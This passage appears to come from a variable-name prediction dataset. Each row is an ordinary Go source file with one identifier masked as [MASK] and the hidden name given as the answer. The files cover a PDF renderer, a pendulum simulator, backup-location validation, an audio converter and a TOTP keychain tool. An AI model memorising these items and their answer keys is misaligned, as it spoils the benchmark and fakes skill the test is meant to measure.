w.Write(input) if err != nil { return nil, err } err = w.Close() if err != nil { return nil, err } return in.Bytes(), nil } func genresByte(input []byte, tags, newFileName string) { fmt.Println(""genFile: "", newFileName) if len(input) == 0 { fmt.Println(""000000"") return } crc32Val := crc32.ChecksumIEEE(input) //压缩 bs, err := zlibCompress(input) if err != nil { panic(err) } code := bytes.NewBuffer(nil) code.WriteString(""//go:build "") code.WriteString(tags) code.WriteString(""\r\n\r\n"") code.WriteString(""package liblclbinres"") code.WriteString(""\r\n\r\n"") code.WriteString(fmt.Sprintf(""const CRC32Value uint32 = 0x%x\r\n\r\n"", crc32Val)) code.WriteString(""var LCLBinRes = []byte(\"""") for _, b := range bs { code.WriteString(""\\x"" + fmt.Sprintf(""%.2x"", b)) } code.WriteString(""\"")\r\n"") ioutil.WriteFile(newFileName, code.Bytes(), 0666) } func genresLiblclVersion(libLCLBinResDir, version string) { code := bytes.NewBuffer(nil) code.WriteString(""package liblclbinres"") code.WriteString(""\r\n\r\n"") code.WriteString(`const version = ""` + version + `""`) code.WriteString(""\r\n\r\n"") code.WriteString(""func LibVersion() string {"") code.WriteString(""\n\t"") code.WriteString(""return version"") code.WriteString(""\n}"") ioutil.WriteFile(filepath.Join(libLCLBinResDir, ""liblcl.go""), code.Bytes(), 0666) } ",liblclPath 846,"package api import ( ""crypto/md5"" ""encoding/hex"" ""fmt"" ""net/url"" ""os"" ) var DefaultConfig = Config{ Postgrest: PostgrestConfig{ Version: ""v10.0.0"", DBRole: ""postgrest_api"", AnonDBRole: """", Port: 3000, AdminPort: 3001, MaxRows: 2000, }, } func NewConfig(connection string) Config { n := DefaultConfig n.ConnectionString = connection return n } type MigrationMode int const ( RunByDefault MigrationMode = iota SkipByDefault ) type Config struct { Metrics bool ConnectionString, Schema string DisableKubernetes bool Namespace string Postgrest PostgrestConfig LogLevel string LogName string EnableRLS bool // Enable Row-level security DisableRLS bool // Disable Row-level security RunMigrations bool SkipMigrations bool SkipMigrationFiles []string MigrationMode MigrationMode // List of scripts that must run even if their hash hasn't changed. // Need just the filename without the `functions/` or `views/` prefix. MustRun []string // If we are using Kratos auth, some migrations // depend on kratos migrations being ran or not and // can cause problems if mission-control mirations run // before kratos migrations KratosAuth bool } func (t *Config) Migrate() bool { // We have two flags dictating whether to run migration or not // depending on whether it's being used on mission-control or (config-db/canary-checker). switch t.MigrationMode { case RunByDefault: return !t.SkipMigrations default: return t.RunMigrations } } func PrintableSecret(secret string) string { if len(secret) == 0 { return """" } else if len(secret) > 30 { sum := md5.Sum([]byte(secret)) hash := hex.EncodeToString(sum[:]) return fmt.Sprintf(""md5(%s),length=%d"", hash[0:8], len(secret)) } else if len(secret) > 16 { return fmt.Sprintf(""%s****%s"", secret[0:1], secret[len(secret)-2:]) } else if len(secret) > 10 { return fmt.Sprintf(""****%s"", secret[len(secret)-1:]) } return ""****"" } func readEnv(val string) string { if v := os.Getenv(val); v != """" { return v } return val } func (c Config) ReadEnv() Config { clone := c clone.ConnectionString = readEnv(clone.ConnectionString) if clone.ConnectionString == ""DB_URL"" { clone.ConnectionString = """" } clone.Schema = readEnv(clone.Schema) clone.LogLevel = readEnv(clone.LogLevel) clone.Postgrest = clone.Postgrest.ReadEnv() return clone } func (c Config) String() string { s := fmt.Sprintf(""migrate=%v log=%v postgrest=(%s)"", c.Migrate(), c.LogLevel, c.Postgrest.String()) if [MASK] , err := url.Parse(c.ConnectionString); err == nil { s = fmt.Sprintf(""url=%s "", [MASK] .Redacted()) + s } return s } func (c Config) GetUsername() string { if url, err := url.Parse(c.ConnectionString); err != nil { return """" } else { return url.User.Username() } } type PostgrestConfig struct { Port int Disable bool LogLevel string URL string Version string JWTSecret string DBRole string AnonDBRole string AdminPort int // A hard limit to the number of rows PostgREST will fetch from a view, table, or stored procedure. // Limits payload size for accidental or malicious requests. MaxRows int } func (p PostgrestConfig) ReadEnv() PostgrestConfig { clone := p clone.JWTSecret = readEnv(clone.JWTSecret) if clone.JWTSecret == ""PGRST_JWT_SECRET"" { clone.JWTSecret = """" } clone.LogLevel = readEnv(clone.LogLevel) return clone } func (p PostgrestConfig) String() string { return fmt.Sprintf(""version:%v port=%d log-level=%v, jwt=%s"", p.Version, p.Port, p.LogLevel, PrintableSecret(p.JWTSecret)) } ",pgUrl 847,"package main import ( ""bytes"" ""context"" ""encoding/json"" ""fmt"" ""io"" ""log"" ""net/http"" ""os"" ""os/exec"" ""strings"" ""github.com/aws/aws-lambda-go/lambda"" ""github.com/function61/gokit/app/aws/lambdautils"" ""github.com/function61/gokit/app/dynversion"" ""github.com/function61/gokit/os/osutil"" ""github.com/function61/html2pdf/pkg/h2ptypes"" ""github.com/function61/html2pdf/pkg/html2pdfclient"" ""github.com/spf13/cobra"" ) func main() { if lambdautils.InLambda() { lambda.StartHandler(lambdautils.NewLambdaHttpHandlerAdapter(newServerHandler())) return } app := &cobra.Command{ Use: os.Args[0], Short: ""HTML2PDF"", Version: dynversion.Version, } app.AddCommand(serverEntry()) app.AddCommand(clientEntry(""client-fn61"", html2pdfclient.Function61)) app.AddCommand(clientEntry(""client-localhost"", html2pdfclient.Localhost)) osutil.ExitIfError(app.Execute()) } func newServerHandler() http.Handler { mux := http.NewServeMux() // some scripts won't print properly unless we have the right fonts. with Lambda we can't install // anything outside /tmp or /task (= our .zip content extracted), so we need to hack by overriding // fontconfig configuration which points to a directory where we have to ourselves explicitly // list all fonts that we wish to use. // // we could add this env to wkhtmltopdf's ENV list, but it's easier assigning this ENV to our own // process (and letting it inherit to the child). // // https://github.com/joonas-fi/emergency-details-printout/issues/3 if err := os.Setenv(""FONTCONFIG_PATH"", fontsPathOnLambda); err != nil { panic(err) // isn't expected to fail } mux.HandleFunc(""/render"", func(w http.ResponseWriter, r *http.Request) { req := &h2ptypes.Request{} if err := json.NewDecoder(r.Body).Decode(req); err != nil { http.Error(w, fmt.Sprintf(""Request decode: %v"", err), http.StatusBadRequest) return } cmdOpts := h2ptypes.OptionsToWkhtml2PdfCmdline(req.Options) // - - => use stdin & stdout // (they also need to come after options) cmdOpts = append(cmdOpts, ""-"", ""-"") // we could directly stuff stdout to HTTP response BUT if the command fails, then // any output to stdout will end up sending headers and then we can't signal failure // anymore, so we'll buffer. we could do this with clever code but that is TODO. [MASK] := &bytes.Buffer{} stdErr := &bytes.Buffer{} wkhtmltopdf := exec.Command(""./wkhtmltopdf"", cmdOpts...) wkhtmltopdf.Stdin = bytes.NewReader(req.HtmlBase64) wkhtmltopdf.Stdout = [MASK] wkhtmltopdf.Stderr = stdErr if err := wkhtmltopdf.Run(); err != nil { http.Error( w, fmt.Sprintf(""%v: %s"", err.Error(), stdErr.Bytes()), http.StatusInternalServerError) return } w.Header().Set(""Content-Type"", ""application/pdf"") if _, err := io.Copy(w, [MASK] ); err != nil { log.Printf(""failed to write to client: %v"", err) } }) return mux } func clientEntry(use string, baseUrl string) *cobra.Command { return &cobra.Command{ Use: use + "" [html]"", Short: ""Request HTML2PDF operation from server"", Args: cobra.ExactArgs(1), Run: func(cmd *cobra.Command, args []string) { htmlReader := func() io.Reader { if args[0] == ""-"" { return os.Stdin } else { return strings.NewReader(args[0]) // HTML as argument. TODO: read from filename? } }() osutil.ExitIfError(client( osutil.CancelOnInterruptOrTerminate(nil), htmlReader, os.Stdout, baseUrl)) }, } } func client(ctx context.Context, htmlReader io.Reader, output io.Writer, baseUrl string) error { html, err := io.ReadAll(htmlReader) if err != nil { return err } h2p, err := html2pdfclient.New(baseUrl, html2pdfclient.TokenFromEnv) if err != nil { return err } pdf, err := h2p.Render(ctx, string(html), nil) if err != nil { return err } defer pdf.Close() _, err = io.Copy(output, pdf) return err } ",pdfBuffer 848,"package main import ""math"" const ( h = 0.001 // the change in runge kutta L1 = 1.0 // length 1 L2 = 1.0 // length 2 m1 = 1.0 // mass of blob 1 m2 = 1.0 // mass of blob 2 g = 9.81 // gravity ) // dw/dt function for theta 1 func func_dwdt1(theta1, theta2, w1, w2 float64) float64 { cos12 := math.Cos(theta1 - theta2) sin12 := math.Sin(theta1 - theta2) sin1 := math.Sin(theta1) sin2 := math.Sin(theta2) denom := math.Pow(cos12, 2)*m2 - m1 - m2 ans := (L1*m2*cos12*sin12*math.Pow(w1, 2) + L2*m2*sin12*math.Pow(w2, 2) - m2*g*cos12*sin2 + (m1+m2)*g*sin1) / (L1 * denom) return ans } // dw/dt function for theta 2 func func_dwdt2(theta2, theta1, w1, w2 float64) float64 { cos12 := math.Cos(theta1 - theta2) sin12 := math.Sin(theta1 - theta2) sin1 := math.Sin(theta1) sin2 := math.Sin(theta2) denom := math.Pow(cos12, 2)*m2 - m1 - m2 [MASK] := -(L2*m2*cos12*sin12*math.Pow(w2, 2) + L1*(m1+m2)*sin12*math.Pow(w1, 2) + (m1+m2)*g*sin1*cos12 - (m1+m2)*g*sin2) / (L2 * denom) return [MASK] } // d0/dt function for theta 1 func func_d0dt1(w0 float64) float64 { return w0 } // d0/dt function for theta 2 func func_d0dt2(w0 float64) float64 { return w0 } func step(w1, w2, theta1, theta2 float64) (float64, float64, float64, float64) { k1a := h * func_d0dt1(w1) // gives theta1 k1b := h * func_dwdt1(theta1, theta2, w1, w2) // gives omega1 k1c := h * func_d0dt2(w2) // gives theta2 k1d := h * func_dwdt2(theta2, theta1, w1, w2) // gives omega2 k2a := h * func_d0dt1(w1+(0.5*k1b)) k2b := h * func_dwdt1(theta1+(0.5*k1a), theta2, w1, w2) k2c := h * func_d0dt2(w2+(0.5*k1d)) k2d := h * func_dwdt2(theta2+(0.5*k1c), theta1, w1, w2) k3a := h * func_d0dt1(w1+(0.5*k2b)) k3b := h * func_dwdt1(theta1+(0.5*k2a), theta2, w1, w2) k3c := h * func_d0dt2(w2+(0.5*k2d)) k3d := h * func_dwdt2(theta2+(0.5*k2c), theta1, w1, w2) k4a := h * func_d0dt1(w1+k3b) k4b := h * func_dwdt1(theta1+k3a, theta2, w1, w2) k4c := h * func_d0dt2(w2+k3d) k4d := h * func_dwdt2(theta2+k3c, theta1, w1, w2) // summing the values after the iterations theta1 += 1.0 / 6.0 * (k1a + 2*k2a + 2*k3a + k4a) w1 += 1.0 / 6.0 * (k1b + 2*k2b + 2*k3b + k4b) theta2 += 1.0 / 6.0 * (k1c + 2*k2c + 2*k3c + k4c) w2 += 1.0 / 6.0 * (k1d + 2*k2d + 2*k3d + k4d) return w1, w2, theta1, theta2 } func GetPos(w1, w2, theta1, theta2, scale float64) (x1, y1, x2, y2 float64) { //nolint:unparam x1 = L1 * math.Sin(theta1) y1 = -L1 * math.Cos(theta1) x2 = x1 + L2*math.Sin(theta2) y2 = y1 - L2*math.Cos(theta2) x1 *= scale x2 *= scale y1 *= scale y2 *= scale return x1, y1, x2, y2 } /* // https://en.wikipedia.org/wiki/Runge%E2%80%93Kutta_methods // Runge Kutta 4th order // ended up that I can't use this because the f(t,y) for this has 4 parts to y... func RK4(t, y float64, stepSize float64, firstDerivative func(t, y float64) float64) float64 { h := stepSize f := firstDerivative //Runge Kutta standard calculations k1 := f(t, y) k2 := f(t+h/2, y+h/2*k1) k3 := f(t+h/2, y+h/2*k2) k4 := f(t+h, y+h*k3) return y + h/6.0*(k1+2.0*k2+2.0*k3+k4) } */ ",ans2 849,"/* Copyright 2020 the Velero contributors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package velero import ( ""context"" ""errors"" ""time"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""sigs.k8s.io/controller-runtime/pkg/client"" ""github.com/vmware-tanzu/velero/pkg/persistence"" ""github.com/sirupsen/logrus"" velerov1api ""github.com/vmware-tanzu/velero/pkg/apis/velero/v1"" ""github.com/vmware-tanzu/velero/pkg/plugin/clientmgmt"" ) // StorageLocation holds information for connecting with storage // for a backup storage location. type StorageLocation struct { Client client.Client Ctx context.Context DefaultStorageLocation string DefaultStoreValidationFrequency time.Duration // use variables to refer to these functions so they can be // replaced with fakes for testing. NewPluginManager func(logrus.FieldLogger) clientmgmt.Manager NewBackupStore func(*velerov1api.BackupStorageLocation, persistence.ObjectStoreGetter, logrus.FieldLogger) (persistence.BackupStore, error) } // IsReadyToValidate calculates if a given backup storage location is ready to be validated. // // Rules: // Users can choose a validation frequency per location. This will overrite the server's default value // To skip/stop validation, set the frequency to zero // This will always return ""true"" for the first attempt at validating a location, regardless of its validation frequency setting // Otherwise, it returns ""ready"" only when NOW is equal to or after the next validation time // (next validation time: last validation time + validation frequency) func (p *StorageLocation) IsReadyToValidate(location *velerov1api.BackupStorageLocation, log logrus.FieldLogger) bool { validationFrequency := p.DefaultStoreValidationFrequency // If the bsl validation frequency is not specifically set, skip this block and continue, using the server's default if location.Spec.ValidationFrequency != nil { validationFrequency = location.Spec.ValidationFrequency.Duration } if validationFrequency == 0 { log.Debug(""Validation period for this backup location is set to 0, skipping validation"") return false } if validationFrequency < 0 { log.Debugf(""Validation period must be non-negative, changing from %d to %d"", validationFrequency, p.DefaultStoreValidationFrequency) validationFrequency = p.DefaultStoreValidationFrequency } lastValidation := location.Status.LastValidationTime if lastValidation != nil { // always ready to validate the first time around, so only even do this check if this has happened before nextValidation := lastValidation.Add(validationFrequency) // next validation time: last validation time + validation frequency if time.Now().UTC().Before(nextValidation) { // ready only when NOW is equal to or after the next validation time return false } } return true } // IsValidFor verifies if a storage is valid for a given backup storage location. func (p *StorageLocation) IsValid(location *velerov1api.BackupStorageLocation, log logrus.FieldLogger) error { pluginManager := p.NewPluginManager(log) defer pluginManager.CleanupClients() [MASK] , err := p.NewBackupStore(location, pluginManager, log) if err != nil { return err } if err := [MASK] .IsValid(); err != nil { return err } return nil } // PatchStatus patches the status.phase field as well as the status.lastValidationTime to the current time func (p *StorageLocation) PatchStatus(location *velerov1api.BackupStorageLocation, phase velerov1api.BackupStorageLocationPhase) error { statusPatch := client.MergeFrom(location.DeepCopyObject()) location.Status.Phase = phase location.Status.LastValidationTime = &metav1.Time{Time: time.Now().UTC()} if err := p.Client.Status().Patch(p.Ctx, location, statusPatch); err != nil { return err } return nil } // ListBackupStorageLocations verifies if there are any backup storage locations. // For all purposes, if either there is an error while attempting to fetch items or // if there are no items an error would be returned since the functioning of the system // would be haulted. func ListBackupStorageLocations(kbClient client.Client, ctx context.Context, namespace string) (velerov1api.BackupStorageLocationList, error) { var locations velerov1api.BackupStorageLocationList if err := kbClient.List(ctx, &locations, &client.ListOptions{ Namespace: namespace, }); err != nil { return velerov1api.BackupStorageLocationList{}, err } if len(locations.Items) == 0 { return velerov1api.BackupStorageLocationList{}, errors.New(""no backup storage locations found"") } return locations, nil } ",backupStore 850,"package main import ( ""path/filepath"" ""os"" ""fmt"" ""regexp"" ""errors"" ""os/exec"" ""strings"" ""sync"" ""flag"" ) var wg sync.WaitGroup func ConvertToMP3(filenames ...string) error { var [MASK] string var fromFilename string = filenames[0] switch len(filenames) { case 1: [MASK] = filenames[0] break case 0: return errors.New(""error: no arguements are passed"") default: [MASK] = filenames[1] } // Convert to MP3 comm := exec.Command(""ffmpeg"", ""-i"", fromFilename, ""-vn"", ""-y"", ""-ab"", ""192k"", ""-f"", ""mp3"", [MASK] +"".mp3"") if err := comm.Run(); err != nil { return err } return nil } func TouchEmptyWav(filename string)error{ comm := exec.Command(""truncate"", ""-s"", ""0"", filename) if err := comm.Run(); err != nil { return err } return nil } func main(){ soundsDir := flag.String(""dir"", """", ""Parent directory of wav files"") workersCount := flag.Int(""worker"", 3, ""Number of go concurrent workers"") flag.Parse() if *soundsDir == """"{ panic(""No directory entered"") } fileList := make(chan string) var found int for i:=1; i<=*workersCount; i++{ wg.Add(1) go convertWorker(i, fileList) } filepath.Walk(*soundsDir, func(path string, f os.FileInfo, err error) error { if !f.IsDir(){ r, err := regexp.MatchString("".wav"", f.Name()) if err == nil && r { info, err := os.Stat(path) if err == nil && info.Size() > 0{ found ++ fileList <- path } } } return nil }) close(fileList) wg.Wait() fmt.Printf(""Convertion Done, %d wav files found in working directory\n"", found) } func convertWorker(id int, fileList <-chan string){ defer wg.Done() for file := range fileList { //fmt.Println(""Worker #"", id, ""grabbed"", file) //Extract file name splits := strings.Split(file, "".wav"") err := ConvertToMP3(file, splits[0]) if err != nil { fmt.Printf(""Worker #%d >> Convert error !! file: %s, error:%s \n"", id, file, err) } else { if err := TouchEmptyWav(file); err != nil { fmt.Printf(""Worker #%d >> Convert completed, Truncate encountered error. file:%s, error:%s\n"", id, file, err) } else { fmt.Printf(""Worker #%d >> Convert completed, Truncate completed, file:%s \n"", id, file) } } } }",toFilename 851,"package main import ( ""bytes"" ""context"" ""encoding/json"" ""log"" ""net/http"" ""time"" ""github.com/aws/aws-sdk-go-v2/aws"" ""github.com/aws/aws-sdk-go-v2/config"" ""github.com/aws/aws-sdk-go-v2/service/secretsmanager"" ""github.com/aws/aws-lambda-go/events"" ""github.com/aws/aws-lambda-go/lambda"" ) type MyEvent struct { Time string `json:""time""` Detail struct { Result string `json:""result""` RepositoryName string `json:""repository-name""` ImageTag string `json:""image-tag""` } `json:""detail""` } type MySecret struct { EcrWebhookSecret string `json:""ecr-webhook-secret""` } func handleRequest(ctx context.Context, event MyEvent) (events.LambdaFunctionURLResponse, error) { secretName := nil // provide the secret name region := nil // provide the region var webhookUrl string = nil // provide the webhook URL config, err := config.LoadDefaultConfig(context.TODO(), config.WithRegion(region)) if err != nil { log.Fatal(err) } // Create Secrets Manager client svc := secretsmanager.NewFromConfig(config) input := &secretsmanager.GetSecretValueInput{ SecretId: aws.String(secretName), VersionStage: aws.String(""AWSCURRENT""), // VersionStage defaults to AWSCURRENT if unspecified } result, err := svc.GetSecretValue(context.TODO(), input) if err != nil { // For a list of exceptions thrown, see // https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html log.Fatal(err.Error()) } // Decrypts secret using the associated KMS key. var [MASK] string = *result.SecretString var secret MySecret json.Unmarshal([]byte( [MASK] ), &secret) client := http.Client{ Timeout: time.Second * 2, } jsonStr, err := json.Marshal(event) req, err := http.NewRequest(""POST"", webhookUrl, bytes.NewBuffer(jsonStr)) if err != nil { log.Fatal(err) } req.Header.Set(""Content-Type"", ""application/json"") req.Header.Set(""Authorization"", ""Bearer ""+secret.EcrWebhookSecret) req.Host = ""registry.ecr.eu-north-1.amazonaws.com"" resp, err := client.Do(req) if err != nil { log.Fatal(err) } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { log.Fatal(""Webhook failed"") } else { log.Println(""Webhook success"") } return events.LambdaFunctionURLResponse{Body: (event.Detail.RepositoryName + event.Detail.ImageTag), StatusCode: 200}, nil } func main() { lambda.Start(handleRequest) } ",secretString 852,"// Copyright 2018 The prometheus-adapter Authors. All Rights Reserved. // Package main package main import ( storageController ""github.com/lijinfengnuc/prometheus-adapter/controller/storage"" ""github.com/lijinfengnuc/prometheus-adapter/flag"" ""github.com/lijinfengnuc/prometheus-adapter/router"" storageService ""github.com/lijinfengnuc/prometheus-adapter/service/storage"" flagUtil ""github.com/lijinfengnuc/prometheus-adapter/util/flag"" ""github.com/lijinfengnuc/prometheus-adapter/util/log"" ""github.com/sirupsen/logrus"" ) // main for build func main() { //绑定命令行参数 if err := flag.BindFlag(); err != nil { log.Logger.WithError(err).Error(""bind flag error,exit"") return } log.Logger.Info(""bind flag success"") //实例化adapter [MASK] := *flagUtil.GetStringFlag(flag.AdapterName) adapterFilePath := *flagUtil.GetStringFlag(flag.AdapterFilePath) storage, err := storageService.GetStorage() if err != nil { log.Logger.WithError(err).WithFields(logrus.Fields{ flag.AdapterName: [MASK] , flag.AdapterFilePath: adapterFilePath, }).Error(""init storage error,exit"") return } storageController.Storage = storage log.Logger.WithFields(logrus.Fields{ flag.AdapterName: [MASK] , flag.AdapterFilePath: adapterFilePath, }).Info(""init storage success"") //绑定web服务 router.BindAPI() } ",adapterName 853,"package internal import ( ""log"" ""os"" ""strconv"" ) func GetDataDir() string { dir := os.Getenv(""MIKUPUSH_DATA_DIR"") if dir == """" { dir = ""data"" } if _, err := os.ReadDir(dir); os.IsNotExist(err) { err := os.MkdirAll(dir, 0755) if err != nil { log.Panicln(""Can't create the data directory, and it must be created:"", err) } } return dir } func GetServerPort() string { port := os.Getenv(""MIKUPUSH_PORT"") if port == """" { port = ""8080"" } return "":"" + port } func GetPostgresUser() string { return os.Getenv(""POSTGRESQL_USER"") } func GetPostgresPassword() string { return os.Getenv(""POSTGRESQL_PASSWORD"") } func GetPostgresDatabase() string { return os.Getenv(""POSTGRESQL_DATABASE"") } func GetPostgresHost() string { return os.Getenv(""POSTGRESQL_HOST"") } func GetPostgresPort() string { return os.Getenv(""POSTGRESQL_PORT"") } func GetUploadLimit() uint { [MASK] := os.Getenv(""MIKUPUSH_UPLOAD_LIMIT_BYTES"") if [MASK] == """" { return UnlimitedUploadSize } limit, err := strconv.ParseUint( [MASK] , 10, 32) if err != nil { return UnlimitedUploadSize } return uint(limit) } func IsUploadSizeLimited() bool { limit := GetUploadLimit() return limit > 1 } ",limitStr 854,"package main import ( ""log"" ""math/rand"" ""net"" ""sync"" ) // Each client has their own stuff type client struct { conn net.Conn addr string roas *[]roa serial *uint32 mutex *sync.RWMutex diff *serialDiff version uint8 } // reset has no data besides the header func (c *client) sendReset() { r := cacheResetPDU{} r.serialize(c.conn) } // updateClient will check to see if there are diffs to send. // If so it'll send them, otherwise it'll just send an end of data PDU updating // the serial. func (c *client) updateClient(session uint16, serial uint32, sendDiff bool) { cpdu := cacheResponsePDU{ sessionID: session, } cpdu.serialize(c.conn) // diff will only be sent if there is an actual update to send if sendDiff && c.diff.diff { c.mutex.RLock() for _, roa := range c.diff.addRoa { writePrefixPDU(&roa, c.conn, announce) } for _, roa := range c.diff.delRoa { writePrefixPDU(&roa, c.conn, withdraw) } c.mutex.RUnlock() log.Println(""Finished sending all diffs"") } epdu := getEndOfDataPDU(session, *c.serial) epdu.serialize(c.conn) } // writePrefixPDU will directly write the update or withdraw prefix PDU. func writePrefixPDU(r *roa, c net.Conn, flag uint8) { switch r.Prefix.Addr().Is4() { case true: ppdu := ipv4PrefixPDU{ flags: flag, min: uint8(r.Prefix.Bits()), max: r.MaxMask, prefix: r.Prefix.Addr().As4(), asn: r.ASN, } ppdu.serialize(c) case false: ppdu := ipv6PrefixPDU{ flags: flag, min: uint8(r.Prefix.Bits()), max: r.MaxMask, prefix: r.Prefix.Addr().As16(), asn: r.ASN, } ppdu.serialize(c) } } func getEndOfDataPDU(session uint16, serial uint32) endOfDataPDU { return endOfDataPDU{ session: session, serial: serial, refresh: DefaultRefreshInterval, retry: DefaultRetryInterval, expire: DefaultExpireInterval, } } // Notify client that an update has taken place func (c *client) notify(serial uint32, session uint16) { [MASK] := serialNotifyPDU{ Session: session, Serial: serial, } [MASK] .serialize(c.conn) } func (c *client) sendRoa() { session := rand.Intn(100) cpdu := cacheResponsePDU{ sessionID: uint16(session), } cpdu.serialize(c.conn) c.mutex.RLock() for _, roa := range *c.roas { writePrefixPDU(&roa, c.conn, announce) } c.mutex.RUnlock() log.Println(""Finished sending all prefixes"") // TODO: Why am I sending default timers here? Should I save this per client? epdu := endOfDataPDU{ session: uint16(session), serial: *c.serial, refresh: DefaultRefreshInterval, retry: DefaultRetryInterval, expire: DefaultExpireInterval, } epdu.serialize(c.conn) } // TODO: Test this somehow func (c *client) error(code int, report string) { epdu := errorReportPDU{ code: uint16(code), report: report, } epdu.serialize(c.conn) } // Handle each client. func (s *CacheServer) handleClient(c *client) { log.Printf(""Serving %s\n"", c.conn.RemoteAddr().String()) // Remove client when exiting defer s.remove(c) defer c.conn.Close() // Initial connection negotiation // What is the incoming PDU? pdu, err := getPDU(c.conn) if err != nil { log.Printf(""error received when getting the pdu: %v"", err) return } // TODO: Is 2 a magic number? header, err := decodePDUHeader(pdu[:2], c.version, true) if err != nil { log.Printf(""error received when decoding the header: %v"", err) return } // Set the version of the client c.version = header.Version switch { case header.Ptype == resetQuery: log.Printf(""received a reset Query PDU from %s\n"", c.addr) c.sendRoa() case header.Ptype == serialQuery: log.Printf(""received a serial Query PDU from %s\n"", c.addr) // TODO: Is 2 a magic number? sq := getSerialQueryPDU(pdu[2:]) c.mutex.RLock() serial := c.diff.newSerial c.mutex.RUnlock() // If the client sends in the current or previous serial, then we can handle it. // If the serial is older or unknown, we need to send a reset. if sq.Serial != serial && sq.Serial != serial-1 { log.Printf(""received a serial query PDU, with an unmanagable serial from %s\n"", c.addr) log.Printf(""Serial received: %d. Current server serial: %d\n"", sq.Serial, serial) c.sendReset() } if sq.Serial == serial { log.Printf(""received a serial number which currently matches my own from %s\n"", c.addr) log.Printf(""Serial received: %d. Current server serial: %d\n"", sq.Serial, serial) c.updateClient(sq.Session, serial, false) } if sq.Serial == serial-1 { log.Printf(""received a serial number one less, so sending diff to %s\n"", c.addr) log.Printf(""Serial received: %d. Current server serial: %d\n"", sq.Serial, serial) c.updateClient(sq.Session, serial, true) } } if header.Ptype != resetQuery && header.Ptype != serialQuery { log.Printf(""On startup, only resetQuery and serialQuery are allowed. Received %d\n"", header.Ptype) return } // Once initial negotiation is done, we can start handling the client. // TODO: This is very ugly where the same code is duplicated for { // What is the incoming PDU? pdu, err := getPDU(c.conn) if err != nil { log.Printf(""error received when getting the pdu: %v"", err) return } header, err := decodePDUHeader(pdu[:2], c.version, false) if err != nil { log.Printf(""error received when decoding the header: %v"", err) return } switch { case header.Ptype == resetQuery: log.Printf(""received a reset Query PDU from %s\n"", c.addr) c.sendRoa() case header.Ptype == serialQuery: log.Printf(""received a serial Query PDU from %s\n"", c.addr) // TODO: Is 2 a magic number? sq := getSerialQueryPDU(pdu[2:]) c.mutex.RLock() serial := c.diff.newSerial c.mutex.RUnlock() // If the client sends in the current or previous serial, then we can handle it. // If the serial is older or unknown, we need to send a reset. if sq.Serial != serial && sq.Serial != serial-1 { log.Printf(""received a serial query PDU, with an unmanagable serial from %s\n"", c.addr) log.Printf(""Serial received: %d. Current server serial: %d\n"", sq.Serial, serial) c.sendReset() } if sq.Serial == serial { log.Printf(""received a serial number which currently matches my own from %s\n"", c.addr) log.Printf(""Serial received: %d. Current server serial: %d\n"", sq.Serial, serial) c.updateClient(sq.Session, serial, false) } if sq.Serial == serial-1 { log.Printf(""received a serial number one less, so sending diff to %s\n"", c.addr) log.Printf(""Serial received: %d. Current server serial: %d\n"", sq.Serial, serial) c.updateClient(sq.Session, serial, true) } } } } ",npdu 855,"package main // import ""moul.io/totp-keychain"" import ( ""errors"" ""fmt"" ""log"" ""os"" ""time"" keychain ""github.com/keybase/go-keychain"" ""github.com/pquerna/otp/totp"" ""github.com/urfave/cli"" ) const ServiceName = ""totp-keychain"" func main() { app := cli.NewApp() app.Name = ""totp-keychain"" app.Commands = []cli.Command{ { Name: ""add"", Flags: []cli.Flag{ cli.StringFlag{ Name: ""name, n"", Usage: ""Name of the account"", }, cli.StringFlag{ Name: ""secret, s"", Usage: ""TOTP Secret"", }, }, Action: func(c *cli.Context) error { if c.NArg() < 2 { return errors.New(""usage: add '' ''"") } name := c.Args()[0] secret := c.Args()[1] item := keychain.NewItem() item.SetSecClass(keychain.SecClassGenericPassword) item.SetService(ServiceName) item.SetAccount(name) item.SetData([]byte(secret)) //item.SetSynchronizable(keychain.SynchronizableYes) item.SetAccessible(keychain.AccessibleWhenUnlocked) err := keychain.AddItem(item) if err == keychain.ErrorDuplicateItem { log.Println(""Item already exists. To update it, remove it first and add it back."") return nil } log.Println(""OK"") return err }, }, { Name: ""rm"", Action: func(c *cli.Context) error { if c.NArg() < 1 { return errors.New(""usage: rm "") } account := c.Args().First() item := keychain.NewItem() item.SetSecClass(keychain.SecClassGenericPassword) item.SetService(ServiceName) item.SetAccount(account) if err := keychain.DeleteItem(item); err != nil { return err } log.Println(""OK"") return nil }, }, { Name: ""ls"", Action: func(c *cli.Context) error { item := keychain.NewItem() item.SetSecClass(keychain.SecClassGenericPassword) item.SetService(ServiceName) item.SetMatchLimit(keychain.MatchLimitAll) item.SetReturnAttributes(true) results, err := keychain.QueryItem(item) if err != nil { return err } for _, r := range results { fmt.Printf(""- %s\n"", r.Account) } return nil }, }, { Name: ""get"", Action: func(c *cli.Context) error { if c.NArg() < 1 { return errors.New(""usage: get "") } account := c.Args().First() [MASK] := keychain.NewItem() [MASK] .SetSecClass(keychain.SecClassGenericPassword) [MASK] .SetService(ServiceName) [MASK] .SetAccount(account) [MASK] .SetMatchLimit(keychain.MatchLimitOne) [MASK] .SetReturnData(true) results, err := keychain.QueryItem( [MASK] ) if err != nil { return err } if len(results) < 1 { return errors.New(""No such account with that name"") } code, err := totp.GenerateCode(string(results[0].Data), time.Now()) if err != nil { return err } fmt.Println(code) return nil }, }, } if err := app.Run(os.Args); err != nil { log.Fatal(err) } } ",query 856,"// handler/beer_handler.go package handler import ( ""encoding/json"" ""fmt"" ""net/http"" ""strconv"" ""github.com/d90ares/iBeers/internal/app/usecase"" ""github.com/d90ares/iBeers/internal/domain"" ""github.com/d90ares/iBeers/pkg/errors"" ""github.com/d90ares/iBeers/pkg/logs"" ""github.com/gorilla/mux"" ) type BeerHandler struct { useCase usecase.UseCase } func NewBeerHandler(useCase usecase.UseCase) *BeerHandler { return &BeerHandler{ useCase: useCase, } } func (h *BeerHandler) GetAllBeers(w http.ResponseWriter, r *http.Request) { ctx := r.Context() beers, err := h.useCase.GetAllBeers(ctx) if err != nil { if httpErr, ok := err.(errors.HttpError); ok { errors.HandleError(w, httpErr) return } // Verifique se o erro é relacionado a ""no 